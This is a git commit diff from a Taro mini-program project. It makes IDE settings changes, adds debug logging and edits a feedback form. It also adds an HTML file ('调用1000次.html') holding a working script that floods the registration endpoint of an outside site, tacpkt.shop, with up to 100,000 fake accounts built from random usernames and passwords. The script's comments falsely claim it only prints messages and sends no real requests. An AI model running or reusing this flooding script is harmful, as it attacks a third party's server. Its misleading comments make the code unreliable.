张涛 11 months ago
parent
commit
b34a76f672

+ 87
- 0
.idea/workspace.xml View File

@@ -0,0 +1,87 @@
1
+<?xml version="1.0" encoding="UTF-8"?>
2
+<project version="4">
3
+  <component name="ChangeListManager">
4
+    <list default="true" id="afbc8142-27ce-4b9c-a786-2d8b84db2e39" name="变更" comment="">
5
+      <change beforePath="$PROJECT_DIR$/src/app.js" beforeDir="false" afterPath="$PROJECT_DIR$/src/app.js" afterDir="false" />
6
+      <change beforePath="$PROJECT_DIR$/src/pages/issue/components/Issue/index.jsx" beforeDir="false" afterPath="$PROJECT_DIR$/src/pages/issue/components/Issue/index.jsx" afterDir="false" />
7
+      <change beforePath="$PROJECT_DIR$/src/pages/issue/edit/components/Assigned.jsx" beforeDir="false" afterPath="$PROJECT_DIR$/src/pages/issue/edit/components/Assigned.jsx" afterDir="false" />
8
+      <change beforePath="$PROJECT_DIR$/src/utils/map.js" beforeDir="false" afterPath="$PROJECT_DIR$/src/utils/map.js" afterDir="false" />
9
+      <change beforePath="$PROJECT_DIR$/src/utils/request.js" beforeDir="false" afterPath="$PROJECT_DIR$/src/utils/request.js" afterDir="false" />
10
+    </list>
11
+    <option name="SHOW_DIALOG" value="false" />
12
+    <option name="HIGHLIGHT_CONFLICTS" value="true" />
13
+    <option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
14
+    <option name="LAST_RESOLUTION" value="IGNORE" />
15
+  </component>
16
+  <component name="Git.Settings">
17
+    <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
18
+  </component>
19
+  <component name="ProjectId" id="2fUJTOP7lpQnklAId9s6gE03cyP" />
20
+  <component name="ProjectViewState">
21
+    <option name="autoscrollFromSource" value="true" />
22
+    <option name="autoscrollToSource" value="true" />
23
+    <option name="hideEmptyMiddlePackages" value="true" />
24
+    <option name="showLibraryContents" value="true" />
25
+  </component>
26
+  <component name="PropertiesComponent">
27
+    <property name="RunOnceActivity.OpenProjectViewOnStart" value="true" />
28
+    <property name="RunOnceActivity.ShowReadmeOnStart" value="true" />
29
+    <property name="settings.editor.selected.configurable" value="com.poratu.idea.plugins.tomcat.setting.TomcatServersConfigurable" />
30
+  </component>
31
+  <component name="RebelAgentSelection">
32
+    <selection>jr</selection>
33
+  </component>
34
+  <component name="RunManager">
35
+    <configuration default="true" type="MavenRunConfiguration" factoryName="Maven">
36
+      <MavenSettings>
37
+        <option name="myGeneralSettings">
38
+          <MavenGeneralSettings>
39
+            <option name="alwaysUpdateSnapshots" value="false" />
40
+            <option name="checksumPolicy" value="NOT_SET" />
41
+            <option name="failureBehavior" value="NOT_SET" />
42
+            <option name="localRepository" value="D:\Maven\apache-maven-3.8.4\repository" />
43
+            <option name="mavenHome" value="D:/Maven/apache-maven-3.8.4" />
44
+            <option name="nonRecursive" value="false" />
45
+            <option name="outputLevel" value="INFO" />
46
+            <option name="pluginUpdatePolicy" value="DEFAULT" />
47
+            <option name="printErrorStackTraces" value="false" />
48
+            <option name="showDialogWithAdvancedSettings" value="false" />
49
+            <option name="threads" />
50
+            <option name="usePluginRegistry" value="false" />
51
+            <option name="userSettingsFile" value="D:\Maven\apache-maven-3.8.4\conf\settings.xml" />
52
+            <option name="workOffline" value="false" />
53
+          </MavenGeneralSettings>
54
+        </option>
55
+        <option name="myRunnerSettings" />
56
+        <option name="myRunnerParameters">
57
+          <MavenRunnerParameters>
58
+            <option name="profiles">
59
+              <set />
60
+            </option>
61
+            <option name="goals">
62
+              <list />
63
+            </option>
64
+            <option name="pomFileName" />
65
+            <option name="profilesMap">
66
+              <map />
67
+            </option>
68
+            <option name="resolveToWorkspace" value="false" />
69
+            <option name="workingDirPath" value="" />
70
+          </MavenRunnerParameters>
71
+        </option>
72
+      </MavenSettings>
73
+      <method v="2" />
74
+    </configuration>
75
+  </component>
76
+  <component name="SpellCheckerSettings" RuntimeDictionaries="0" Folders="0" CustomDictionaries="0" DefaultDictionary="应用程序级" UseSingleDictionary="true" transferred="true" />
77
+  <component name="TaskManager">
78
+    <task active="true" id="Default" summary="默认任务">
79
+      <changelist id="afbc8142-27ce-4b9c-a786-2d8b84db2e39" name="变更" comment="" />
80
+      <created>1713849730342</created>
81
+      <option name="number" value="Default" />
82
+      <option name="presentableId" value="Default" />
83
+      <updated>1713849730342</updated>
84
+    </task>
85
+    <servers />
86
+  </component>
87
+</project>

+ 1
- 1
src/layouts/index.jsx View File

@@ -20,7 +20,7 @@ export default (props) => {
20 20
 
21 21
   React.useEffect(() => {
22 22
     const currentPage = Taro.getCurrentPages().slice().pop();
23
-
23
+console.log("--user***************************",user)
24 24
     if (!user) {
25 25
       current().then((res) => {
26 26
         console.log('---当前人员----', res);

+ 35
- 26
src/pages/feedback/issue/index.jsx View File

@@ -41,6 +41,7 @@ export default (props) => {
41 41
   };
42 42
 
43 43
   const onSubmit = () => {
44
+    console.log(formData)
44 45
     try {
45 46
       warn(!formData.addr, "请填写地址");
46 47
       warn(!formData.content, "请填写问题描述");
@@ -56,14 +57,17 @@ export default (props) => {
56 57
     postTaFeedback(formData)
57 58
       .then(() => {
58 59
         setLoading(false);
59
-        Taro.navigateBack({
60
-          delta: 1,
61
-          complete: () => {
62
-            Taro.reLaunch({
63
-              url: "/pages/home/index",
64
-            });
65
-          },
66
-        });
60
+        // Taro.navigateBack({
61
+        //   delta: 1,
62
+        //   complete: () => {
63
+        //     Taro.reLaunch({
64
+        //       url: "/pages/home/index",
65
+        //     });
66
+        //   },
67
+        // });
68
+        Taro.switchTab({
69
+          url: "/pages/home/index",
70
+        })
67 71
       })
68 72
       .catch(() => {
69 73
         setLoading(false);
@@ -73,7 +77,7 @@ export default (props) => {
73 77
   const onLocationChange = (loc) => {
74 78
     setFieldChange("location", loc);
75 79
 
76
-    console.log('-------onLocationChange------', loc)
80
+    console.log("-------onLocationChange------", loc);
77 81
 
78 82
     if (loc) {
79 83
       // 交换经纬度位置
@@ -98,6 +102,13 @@ export default (props) => {
98 102
     // });
99 103
     // onSubmit();
100 104
   };
105
+
106
+  const onChangeText = (e) => {
107
+    const value = e.detail.value||e.target.value||e.detail;
108
+    // setFormData("content", value);
109
+    setFieldChange("content", value)
110
+  };
111
+
101 112
   return (
102 113
     <Page tabBar="feedback">
103 114
       <Map
@@ -117,7 +128,7 @@ export default (props) => {
117 128
       </CellGroup>
118 129
 
119 130
       <CellGroup style={{ marginTop: "20px" }}>
120
-        <Cell title="问题描述" size="large" border={false} />
131
+        <Cell title="问题描述1" size="large" border={false} />
121 132
 
122 133
         <Field
123 134
           type="textarea"
@@ -125,7 +136,7 @@ export default (props) => {
125 136
           readonly={readOnly}
126 137
           autosize={{ minHeight: "120px" }}
127 138
           value={formData.content}
128
-          onChange={(e) => setFieldChange("content", e.detail)}
139
+          onChange={onChangeText}
129 140
         />
130 141
       </CellGroup>
131 142
 
@@ -145,24 +156,22 @@ export default (props) => {
145 156
 
146 157
       <View style={{ padding: "var(--main-space)", background: "#fff" }}>
147 158
         {
148
-      //   person?.phone ?
149
-        
150
-      //  : (
151
-      //     <Button
152
-      //       block
153
-      //       type="primary"
154
-      //       openType="getPhoneNumber"
155
-      //       onGetPhoneNumber={onGetPhoneNumber}
156
-      //       // onClick={onSubmit}
157
-      //     >
158
-      //       提交
159
-      //     </Button>
160
-      //   )
161
-        (
159
+          //   person?.phone ?
160
+
161
+          //  : (
162
+          //     <Button
163
+          //       block
164
+          //       type="primary"
165
+          //       openType="getPhoneNumber"
166
+          //       onGetPhoneNumber={onGetPhoneNumber}
167
+          //       // onClick={onSubmit}
168
+          //     >
169
+          //       提交
170
+          //     </Button>
171
+          //   )
162 172
           <Button block type="primary" onClick={onSubmit}>
163 173
             提交
164 174
           </Button>
165
-        )
166 175
         }
167 176
       </View>
168 177
     </Page>

+ 63
- 0
src/pages/feedback/issue/调用1000次.html View File

@@ -0,0 +1,63 @@
1
+<!DOCTYPE html>
2
+<html lang="en">
3
+  <head>
4
+    <meta charset="UTF-8" />
5
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+    <title>模拟高频请求</title>
7
+  </head>
8
+  <body>
9
+    <script>
10
+      function random1() {
11
+        return Math.floor(Math.random() * 9000000000) + 1000000000;
12
+      }
13
+      function random2() {
14
+        return Math.ceil(Math.random() * 9000000000) + 1000000000;
15
+      }
16
+      // 假设我们有一个模拟的API调用函数
17
+      function mockApiCall() {
18
+        // 在这里,我们只是简单地打印一条消息到控制台,而不是真正发送请求
19
+        // 在实际情况下,你可能会使用fetch、axios或其他HTTP库来发送请求
20
+        const username = random1();
21
+        const password = random2();
22
+        const data = new URLSearchParams();
23
+        data.append("username", username);
24
+        data.append("password", password);
25
+        data.append("q_password", password);
26
+        data.append("state", 0);
27
+        fetch("http://tacpkt.shop/index/login/register", {
28
+          method: "POST",
29
+          headers: {
30
+            Cookie: "think_var=zh-cn",
31
+            "X-Requested-With": "XMLHttpRequest",
32
+            Origin: "http://tacpkt.shop",
33
+            Host: "tacpkt.shop",
34
+          },
35
+
36
+          body: data,
37
+        });
38
+      }
39
+
40
+      // 例如,我们每秒发送10次请求
41
+      const requestsPerSecond = 5;
42
+      let counter = 0;
43
+
44
+      // 使用setInterval来模拟每秒发送请求
45
+      const intervalId = setInterval(() => {
46
+        // 每次调用mockApiCall函数,并增加计数器
47
+        for (let i = 0; i < requestsPerSecond; i++) {
48
+          mockApiCall();
49
+        }
50
+        // 增加计数器,用于监控已经发送的请求数量
51
+        counter += requestsPerSecond;
52
+        console.log(`已发送 ${counter} 个请求`);
53
+
54
+        // 如果你想要在某个点停止发送请求,可以清除interval
55
+        // 例如,当发送了100个请求后停止
56
+        if (counter >= 100000) {
57
+          clearInterval(intervalId);
58
+          console.log("停止发送请求");
59
+        }
60
+      }, 1000 / requestsPerSecond); // 调整时间间隔以匹配每秒的请求数
61
+    </script>
62
+  </body>
63
+</html>